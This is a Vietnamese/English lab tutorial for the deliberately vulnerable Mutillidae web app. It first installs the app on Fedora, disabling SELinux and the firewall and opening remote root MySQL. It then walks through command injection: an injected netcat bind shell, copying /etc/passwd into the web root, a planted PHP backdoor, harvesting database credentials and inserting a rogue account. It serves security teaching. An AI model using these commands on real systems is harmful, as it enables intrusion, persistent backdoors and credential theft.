NOWASP 1 - How to Install Mutillidae on Fedora / Windows

{ How to Install Mutillidae on Fedora}
Bài thực hành sẽ cài đặt NOWASP trên Windows 7

---

Section 0. Background Information

• What Mutillidae?
  • OWASP Mutillidae II is a free, open source, deliberately vulnerable web-application providing a target for web-security enthusiast.
  • With dozens of vulns and hints to help the user; this is an easy-to-use web hacking environment designed for labs, security enthusiast, classrooms, CTF, and vulnerability assessment tool targets. Mutillidae has been used in graduate security courses, corporate web sec training courses, and as an "assess the assessor" target for vulnerability assessment software.
• Pre-Requisite Lab
  • Fedora: Lesson 1: Installing Fedora 
    • Note: Only required if you don't already have a Fedora instance.
• Lab Notes
  • In this lab we will do the following:
    1. Install Apache Webserver
    2. Install Mysql Server
    3. Install PHP
    4. Install and Configure Mutillidae

• Lưu ý - Bài thực hành trong lớp học sẽ cài đặt NOWASP trên Windows 7 (máy thật) / hoặc máy ảo Windows XP / 2K3

Section 1. Configure Fedora14 Virtual Machine Settings

1. Open Your VMware Player
   • Instructions:
     1. On Your Host Computer, Go To
     2. Start --> All Program --> VMWare --> VMWare Player
2. Edit BackTrack Virtual Machine Settings
   • Instructions:
     1. Highlight fedora14
     2. Click Edit virtual machine settings
   • 
3. Edit Network Adapter
• Instructions:
  1. Highlight Network Adapter
  2. Select Bridged
  3. DO NOT Click on the OK Button.
• 


4. Edit Network Adapter
• Instructions:
  1. Click the Options Tab
  2. Virtual machine name: Fedora14 - Mutillidae
  3. Click the OK Button
• 

Section 2. Login to Fedora14 - Mutillidae

1. Start Fedora14 VM Instance
   • Instructions:
     1. Start Up VMWare Player
     2. Select Fedora14 - Mutillidae
     3. Play virtual machine
   • 
2. Login to Fedora14 - Mutillidae
   • Instructions:
     1. Login: student
     2. Password: <whatever you set it to>.
   • 

Section 3. Open Console Terminal and Retrieve IP Address

1. Start a Terminal Console
   • Instructions:
     1. Applications --> Terminal
   • 
2. Switch user to root
   • Instructions:
     1. su - root
     2. <Whatever you set the root password to>
   • 
3. Get IP Address
   • Instructions:
     1. ifconfig -a
   • Notes (FYI):
     • As indicated below, my IP address is 192.168.1.112.
     • Please record your IP address.
   • 

Section 4. Disable SELinux

1. Open the SELinux config file with gedit
   • Instructions:
     1. gedit /etc/selinux/config &
   • Notes (FYI):
     • The "&" is used to open gedit in the background.
     • If you are the Linux Guru feel free to use the VI editor instead.
   • 
2. Delete targeted
   • Instructions:
     1. Arrow down to the last line --> SELINUXTYPE=targeted
     2. Highlight the word "targeted" and press the delete button
   • 
3. Replace targeted with disabled
   • Instructions:
     1. Replace targeted with the word "disabled"
        •  SELINUXTYPE=disabled
     2. Click Save
     3. Click the "X" to Close
   • 
4. Open the SELINUX config file with gedit
   • Instructions:
     1. setenforce 0
     2. sestatus
   • Notes (FYI):
     • setenforce - is used to modify the mode SELinux is running in.
     • Generally, I do not support disabling SELinux.  However, we are going to turn this server into a vulnerable machine by later installing Mutillidae.
   • 

Section 5. Disable Firewall

1. Disable the Firewall
   • Instructions:
     1. service iptables stop
     2. chkconfig iptables off
   • Notes (FYI):
     • Again, I do not support disabling the firewall.  However, we are going to turn this server into a vulnerable machine by later installing Mutillidae.
   • 

Section 6. Install Apache httpd Server

1. Download httpd
   • Instructions:
     1. yum install httpd.i686
     2. y
   • 
2. Start Apache
   • Instructions:
     1. service httpd start
        • This starts up the Apache Listening Daemon
     2. ps -eaf | grep httpd
        • Check to make sure Apache is running.
     3. chkconfig --level 2345 httpd on
        • Create Start up script for run levels 2, 3, 4 and 5.
   • 

Section 7. Install mysql and mysql-server

1. Install mysql
   • Instructions:
     1. yum install mysql.i686
     2. Is this okay [y/N]: y
   • 
2. Install mysql-server
   • Instructions:
     1. yum install mysql-server
     2. Is this okay [y/N]: y
   • 
3. Start Up mysqld
   • Instructions:
     1. service mysqld start
   • 
4. Start Up mysqld
   • Instructions:
     1. chkconfig --level 2345 mysqld on
        • Creates the start up scripts for run level 2, 3, 4 and 5.
     2. mysqladmin -u root password samurai
        • Sets the mysql root password to "samurai"
   • 
5. Login to mysql
   • Instructions:
     1. mysql -uroot -p
     2. samurai
     3. show databases;
     4. quit
   • 
6. Allow Remote Access to MySQL
   • Note(FYI):
     • Allowing remote access is not part of the Mutillidae installation.
     • This step just provides an additional vulnerability used in following labs.
   • Instructions:
     1. echo "use mysql; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'samurai' WITH GRANT OPTION;" | mysql -uroot -psamurai
   • 

Section 8. Install PHP

1. Install PHP
   • Instructions:
     1. yum install php.i686
     2. Is this okay [y/N]: y
   • 
2. Install php-mysql
   • Instructions:
     1. yum install php-mysql
     2. Is this okay [y/N]: y
   • 
3. Install php-pear
   • Instructions:
     1. yum install php-pear php-pear-DB
     2. Is this okay [y/N]: y
   • 
4. Install php-mbstring
   • Instructions:
     1. yum install php-mbstring
     2. Is this okay [y/N]: y
   • 
5. Open php.ini
   • Instructions:
     1. gedit /etc/php.ini &
   • Notes (FYI):
     • The "&" is used to open gedit in the background.
     • If you are the Linux Guru feel free to use the VI editor instead.
   • 
6. Search php.ini
   • Instructions:
     1. Search --> Find...
     2. Search for: ; extension
     3. Click the Find Button
   • 
7. Add Extension
   • Instructions:
     1. Below the '; extension_dir = "./"' add the following line
        • extension=mysql.so
     2. Click Save
     3. Click "X" to Close
   • 
8. Restart Apache
   • Instructions:
     1. service httpd restart
   • 

Section 9. Install wget

1. Install wget
   • Instructions:
     1. yum install wget
     2. Is this okay [y/N]: y
   • 

Section 10. Install Mutillidae

1. Open Firefox
   • Instructions:
     1. firefox "http://sourceforge.net/projects/mutillidae/files/latest/download?source=dlp" &
   • 
2. Save File
   • Instructions:
     1. Click radio button Save File
     2. Click the OK button
   • 
3. Browse for other folders
   • Instructions:
     1. Click on "Browse for other folders"
     2. Continue to next step
   • 
4. Navigate to /var/www/html
   • Instructions:
     1. Navigate to /var/www/html
     2. Click the Save Button
   • 
5. Un-Zip Mutillidae
   • Instructions:
     1. cd /var/www/html
     2. ls -lrta
     3. unzip LATEST-mutillidae-2.5.11.zip
   • 
6. Un-Zip Mutillidae
   • Instructions:
     1. cd mutillidae/classes/
     2. ls -lrta
     3. gedit MySQLHandler.php &
   • 
7. Unzip Package
   • Instructions:
     1. Arrow down to line 39 ---> static public $mMySQLDatabasePassword = "";
        • Place the word samurai in between the quotes after the "=" sign.
        • From: static public $mMySQLDatabasePassword = "";
        • To: static public $mMySQLDatabasePassword = "samurai";
     2. Click the Save Button
     3. Click X to Close
   • 
8. Change Ownership
   • Note(FYI):
     • This step is not necessary.
     • This step is to supplement additional SQL Union attacks.
   • Instructions:
     1. cd /var/www/html
     2. chown apache:mysql mutillidae
     3. chmod 770 mutillidae
     4. ls -ld mutillidae
   • 
9. Start Firefox
   • Instructions:
     1. Click on the Firefox icon
   • 
    
10. Setup/Reset the DB
    • Instructions:
      1. http://localhost/mutillidae
      2. Click on setup/reset the DB
    • 
11. Setting up the database...  
    • Instructions:
      1. Click the OK Button
    • 
12. Welcome to Mutillidae  
    • Note(FYI):
      1. If you see the below screen, then congratualations on setting up Mutillidae on a Fedora server.
    • 

Section 11. Proof of Lab

1. Proof of Lab
   • Instructions:
     1. echo "use nowasp; show tables;" | mysql -uroot -psamurai
     2. date
     3. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
   • Proof of Lab Instructions:
     1. Do a PrtScn
     2. Paste into a word document
     3. Upload to website www.antoanthongtin.edu.vn

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Bài Hướng Dẫn Mutillidae : Lesson 3 - Command Injection Netcat Session

{ Command Injection Netcat Session }

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Section 0. Background Information

• What Mutillidae?
  • OWASP Mutillidae II is a free, open source, deliberately vulnerable web-application providing a target for web-security enthusiast.
• What is Command Injection?
  • Command Injection occurs when an attacker is able to run operating system commands or serverside scripts from the web application.  This vulnerability potential occurs when a web application allows you to commonly do a nslookup, whois, ping, traceroute and more from their webpage.  You can test for the vulnerability by using a technique called fuzzing, where a ";" or "|" or "||" or "&" or "&&" is append to the end of the expected input (eg., www.cnn.com) followed by a command (eg., cat /etc/passwd).
• What is netcat?
  • Netcat is a computer networking service for reading from and writing to network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities. Netcat is often referred to as a "Swiss-army knife for TCP/IP". Its list of features includes port scanning, transferring files, and port listening, and it can be used as a backdoor.
• Pre-Requisite Lab
  1. Mutillidae: Lesson 1: How to Install Mutillidae in Fedor
     • Note: Remote database access has been turned to provide an additional vulnerability.
  2. BackTrack: Lesson 1: Installing BackTrack 5 
     • Note: This is not absolutely necessary, but if you are a computer security student or professional, you should have a BackTrack VM.
• Lab Notes
  • In this lab we will do the following:
    1. Execute netcat using the command injection/execution vulnerability.
    2. Create a netcat backdoor outside of the command injection vulnerability.
    3. Conduct PHP Reconnaissance
    4. Conduct Database Reconnaissance
    5. Add a user to the nowasp.accounts table.

• Legal Disclaimer - không thực hành trên các mục tiêu mà bạn không có thẩm quyền

Section 1. Configure Fedora14 Virtual Machine Settings

1. Open Your VMware Player
   • Instructions:
     1. On Your Host Computer, Go To
     2. Start --> All Program --> VMWare --> VMWare Player
2. Edit Fedora Mutillidae Virtual Machine Settings
   • Instructions:
     1. Highlight fedora14
     2. Click Edit virtual machine settings
   • 
3. Edit Network Adapter
• Instructions:
  1. Highlight Network Adapter
  2. Select Bridged
  3. Click the OK Button
• 

Section 2. Login to Fedora14 - Mutillidae

1. Start Fedora14 VM Instance
   • Instructions:
     1. Start Up VMWare Player
     2. Select Fedora14 - Mutillidae
     3. Play virtual machine
   • 
2. Login to Fedora14 - Mutillidae
   • Instructions:
     1. Login: student
     2. Password: <whatever you set it to>.
   • 

Section 3. Open Console Terminal and Retrieve IP Address

1. Start a Terminal Console
   • Instructions:
     1. Applications --> Terminal
   • 
2. Switch user to root
   • Instructions:
     1. su - root
     2. <Whatever you set the root password to>
   • 
3. Get IP Address
   • Instructions:
     1. ifconfig -a
   • Notes (FYI):
     • As indicated below, my IP address is 192.168.1.111.
     • Please record your IP address.
   • 

Section 4. Configure BackTrack Virtual Machine Settings

1. Edit the BackTrack5R1 VM
   • Instructions:
     1. Select BackTrack5R1 VM
     2. Click Edit virtual machine settings
   • 
2. Edit Virtual Machine Settings
   • Instructions:
     1. Click on Network Adapter
     2. Click on the Bridged Radio button
     3. Click on the OK Button
   • 

Section 5. Play and Login to BackTrack

1. Play the BackTrack5R1 VM
   • Instructions:
     1. Click on the BackTrack5R1 VM
     2. Click on Play virtual machine
   • 
2. Login to BackTrack
   • Instructions:
     1. Login: root
     2. Password: toor or <whatever you changed it to>.
   • 
3. Bring up the GNOME
   • Instructions:
     1. Type startx
   • 

Section 6. Open Console Terminal and Retrieve IP Address

1. On BackTrack, Start up a terminal window
   • Instructions:
     1. Click on the Terminal Window
   • 
2. Obtain the IP Address
   • Instructions:
     1. ifconfig -a
   • Note(FYI):
     • My IP address 192.168.1.109.
     • In your case, it will probably be different.
     • This is the machine that will be use to attack the victim machine (Metasploitable).
   • 

Section 7. Start Web Browser Session to Mutillidae

1. On BackTrack, Open Firefox
   • Instructions:
     1. Click on the Firefox Icon
   • Notes (FYI):
     • If FireFox Icon does not exist in the Menu Bar Tray, then go to Applications --> Internet --> Firefox Web Browser
   • 
2. Open Mutillidae
   • Notes (FYI):
     • Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
   • Instructions:
     1. http://192.168.1.111/mutillidae
   • 

Section 8. Netcat Command Execution

1. Go to DNS Lookup
   • Instructions:
     1. OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
   • 
    
2. Execute Netcat  
   • Notes(FYI):
     • Below we are going to append NetCat to the basic nslookup test.  :)
   • Instructions:
     1. www.cnn.com;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
        • Make a FIFO named pipe.
        • Pipes allow separate processes to communicate without having been designed explicitly to work together.
        • This will allow two processes to connect to netcat.
        • nc -l 4444, tells netcat to listen and allow connections on port 4444.
     2. Click Lookup DNS
     3. Continue to next step
        • Note: No results will be displayed to this webpage, please continue to next step.
   • 
    
3. Verifying Results
   • Note(FYI):
     1. Notice in the upper left tab, there is a connection pin-wheel that constantly spins.
     2. Notice in the lower left corner, the status bar displays the message transferring data.
     3. Both of these messages are a good signs that netcat is running and listening for a connection.
   • Instructions:
     1. Continue to next section.
   • 

Section 9. Connecting to Netcat

1. Connect to Netcat
   • Notes(FYI):
     • Implement the following instructions on the BackTrack VM
     • Replace 192.168.1.111 with the Fedora(Mutillidae) IP Address obtained from (Section 3, Step 3).
   • Instructions:
     1. nc 192.168.1.111 4444
        • Use BackTrack to Connect to the Mutillidae Netcat session on port 4444
     2. hostname
        • This is server hostname that hosts DVWA.
     3. whoami
        • Print the effective UserID.
        • Ie., Who am I connected as.
   • 
2. Directory and Username Reconnaissance
   • Notes (FYI):
     • We already know that we connected as the apache user, but we also want to know what is our current working directory.
     • Also, we want to know if we have the ability to create a file within the current working directory.   
   • Instructions:
     1. pwd
        • Print the current working directory
     2. uname -a
        • Print system information (eg., Operating System & Version, Kernel, etc).
     3. cat /etc/passwd > passwd.txt
        • Create a passwd.txt file located in /var/www/html/mutillidae
     4. ls -l $PWD/passwd.txt
        • List the passwd.txt file.
   • 

Section 10. Viewing /etc/passwd

1. Open New FireFox Tab
   • Notes (FYI):
     • Perform the following instructions on BackTrack's Firefox.
   • Instructions:
     1. Click on the Green Plus to create a new tab
   • 
2. View /etc/passwd
   • Notes (FYI):
     • Replace 192.168.1.111 with the Fedora (Mutillidae) IP Address obtained in (Section 3, Step 3).
     • It nice to be able to view the password file, but the real feat was to be able to create a file and view it on the apache webserver.  (Prepare for some black magic).
   • Instructions:
     1. Place the following link in the Address Bar.
        • http://192.168.1.111/mutillidae/passwd.txt
   • 

Section 11. Create PHP Backdoor

1. Discover the Database Engine using the /etc/passwd file
   • Notes (FYI):
     • Perform the following instructions using your previous BackTrack Terminal Netcat session.
     • We now we can create a file on the Apache Webserver in the /var/www/html/mutillidae directory.
     • Let's create a php script that will serve as a netcat backdoor without having to execute netcat using the nslookup command execution.  
   • Instructions:
     1. echo "<?php system(\"mkfifo /tmp/pipe2;sh /tmp/pipe2 | nc -l 3333 > /tmp/pipe2\"); ?>" > nc_connect.php
     2. ls -l $PWD/nc_connect.php
     3. chmod 700 nc_connect.php
     4. ls -l $PWD/nc_connect.php
     5. cat nc_connect.php
   • 
2. Execute nc_connect.php
   • Notes (FYI):
     • Perform the next steps in BackTrack's second Firefox tab.
     • Replace 192.168.1.111 with the Fedora (Mutillidae) IP Address obtain in (Section 3, Step 3).
     • Use the second Firefox tab that you previously viewed the /etc/passwd file with to execute the nc_connect.php script.  
   • Instructions:
     1. Place the following link in the Address Bar.
        • http://192.168.1.111/mutillidae/nc_connect.php
     2. Continue to Next Step
   • 
3. On BackTrack, Start up a "another" terminal window
   • Instructions:
     1. Click on the Terminal Window
   • 
4. Viewing your netcat sessions
   • Notes (FYI):
     • This terminal window will be used to connect to the nc_config.php netcat session.
     • Replace 192.168.1.111 with the Fedora (Mutillidae) IP Address obtain in (Section 3, Step 3).
   • Instructions:
     1. nc 192.168.1.111 3333
     2. whoami
     3. ps -eaf | egrep '(3333|4444)'
   • 

Section 10. PHP Script Interrogation

1. List all php scripts
   • Notes (FYI):
     • Perform the next steps in the nc_config.php netcat terminal.
     • Our next step is to try to figure out if any of the php scripts located under /var/www/html/mutillidae contain a database username and password.
     • But, first, let's count all the php scripts and include files.
   • Instructions:
     1. pwd
        • This show the current working directory to be /var/www/html/mutillidae.
     2. find * -name "*.php" | wc -l
        • Count the number of php script located in the current working directory.
     3. find * -name "*.inc" | wc -l
        • Count the number of php include files located in the current working directory.
   • 
2. List all php scripts
   • Notes (FYI):
     • Now we are going to search each include file (*.inc) for the string "password" AND the strings "db" OR "database".
   • Instructions:
     1. find * -name "*.inc" | xargs grep -i password | egrep -i '(db|database)'
        • find * -name "*.inc", find all files with the *.inc extension in the current working directory.
        • xargs, build and execute command lines from standard input
        • grep -i password, ignore case and search for the string "password".
        • egrep -i '(db|database)', ignore case and search for the strings "db" OR "database".
   • 
3. Search php scripts for the string password
   • Notes (FYI):
     • Now we will search the 900+ php scripts for the string "password" AND the strings ("db" OR "database") AND the string "=".
     • I will use head -8 to show only the first 8 lines, but feel free to remove the "| head -8" to see all the results.
     • The name of the script that contains the database password is MySQLHandler.php.
   • Instructions:
     1. find * -name "*.php" | xargs grep -i password | egrep -i '(db|database)' | grep "=" | head -8
   • 
4. Search MySQLHandler.php for authentication information
   • Notes (FYI):
     • Below I will search the MySQLHandler.php script for the strings (password OR username OR database) and the string "=".
     • Notice the username (root), password (samurai), and database (nowasp) is listed in the results.
   • Instructions:
     1. find * -name "MySQLHandler.php" | xargs egrep -i '(password|username|database)' | grep "=" | head -10
   • 

Section 11. Database Interrogation

1. Basic Database Interrogation
   • Notes (FYI):
     • Perform the next steps in the nc_config.php netcat terminal.
     • The below command shows you how to execute database commands in the netcat session.
     • show databases, allows you to view all databases.
     • use nowasp; show tables, means use the nowasp database and show its's tables.
   • Instructions:
     1. echo "show databases;" | mysql -uroot -psamurai
     2. echo "use nowasp; show tables;" | mysql -uroot -psamurai
   • 
2. Interrogate the accounts table
   • Notes (FYI):
     • The below command shows you how to view the column fields of the accounts tables.
     • In addition, you will run a basic select statement to view the contents of the accounts table.
   • Instructions:
     1. echo "use nowasp; desc accounts;" | mysql -uroot -psamurai
     2. echo "select * from nowasp.accounts;" | mysql -uroot -psamurai
   • 
3. Create a new user in the accounts table
   • Notes (FYI):
     • The below command shows you how to create a new username using the MySQL insert command.
     • Pay attention to the last record of your select statement results.
   • Instructions:
     1. echo "insert into nowasp.accounts values (null,'hacker33','p4sSw0rd!','H4ck 4 fo0d','TRUE');" | mysql -uroot -psamurai
     2. echo "select * from nowasp.accounts;" | mysql -uroot -psamurai
   • 

Section 12. Proof of Lab

1. Proof of Lab
   • Notes (FYI):
     • Perform the next steps in the nc_config.php netcat terminal
     • Use nc_config.php netcat session for the below directions.
   • Instructions:
     1. echo "select * from nowasp.accounts where username = 'hacker33';" | mysql -uroot -psamurai
     2. netstat -nao | egrep '(3333|4444)'
     3. date
     4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
   • Proof of Lab Instructions:
     1. Do a PrtScn
     2. Paste into a word document
     3. Upload to website www.antoanthongtin.edu.vn
   • 

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